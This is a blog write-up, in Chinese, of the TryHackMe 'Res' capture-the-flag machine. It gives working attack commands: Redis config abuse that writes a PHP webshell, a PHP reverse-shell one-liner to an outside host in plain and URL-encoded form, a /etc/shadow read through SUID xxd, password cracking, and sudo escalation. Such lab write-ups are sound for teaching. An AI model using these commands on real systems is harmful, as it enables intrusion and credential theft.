tryhackme-Res(資源)

Junglezt發表於2024-03-08

這是我第一次接觸redis,這個題目是最簡單的

資訊收集

使用nmap進行埠掃描

根據掃描結果,開放了80埠和6379埠(redis)服務

80埠進行目錄掃描沒有得到任何有用的資訊,佔時沒太大用處

根據改題目的描述和題目名稱,改題目需要對redis服務進行下手,在網上查詢到了redis服務滲透測試指南
參考:https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis#authenticated-enumeration

其中講到可以使用redis寫入PHP Webshell

程式碼如下

root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK

初始訪問許可權

使用redis-cli -h target_ip -p 6379連線靶機
接著使用上述方法寫入Junglezt.php,內容為<?php system($_GET['cmd']);?>

現在我們可以執行命令了,使用php獲取反彈shell

程式碼如下:

php -r '$sock=fsockopen("10.14.74.4","4444");exec("/bin/bash -i 0>&3 2>&3 1>&3");'

由於是GET方式傳參,需要使用url編碼,編碼後如下

php%20-r%20'%24sock%3Dfsockopen(%2210.14.74.4%22%2C%224444%22)%3Bexec(%22%2Fbin%2Fbash%20-i%200%3E%263%202%3E%263%201%3E%263%22)%3B'

傳入cmd引數,在本地nc -lvp 4444監聽,使用瀏覽器訪問獲得shell

10.10.194.198/Junglezt.php?cmd=php%20-r%20'%24sock%3Dfsockopen(%2210.14.74.4%22%2C%224444%22)%3Bexec(%22%2Fbin%2Fbash%20-i%200%3E%263%202%3E%263%201%3E%263%22)%3B'

接著獲取user.txt

許可權提升

接著需要許可權提升,查詢suid檔案發現xxd命令可以使用,查詢GTFOBins找到對應方法可以讀取任意檔案,我們讀取/etc/shadow

得到vianka使用者的hash,使用john破解

得到vianka使用者的密碼為beautiful1

使用su切換到該使用者時報錯

是因為終端的問題,由於靶機的22埠也沒有開放,我們也沒有許可權開放靶機22埠的許可權,這裡需要使用python生成一個終端

python -c "import pty;pty.spawn('/bin/bash')"

獲取root許可權

我們需要繼續提權,接著使用sudo -l發現我們可以執行任何root使用者的命令,使用sudo su得到root許可權

總結

  1. 這個靶機學習到了一些redis的基本操作,另外還有一個ssh私鑰獲取shell的方法,但是不適用這個靶機
  2. php反彈shell的終端不可以使用su命令,在沒有開啟22埠的情況下,可以使用pythonpty方法獲取一個偽終端

相關文章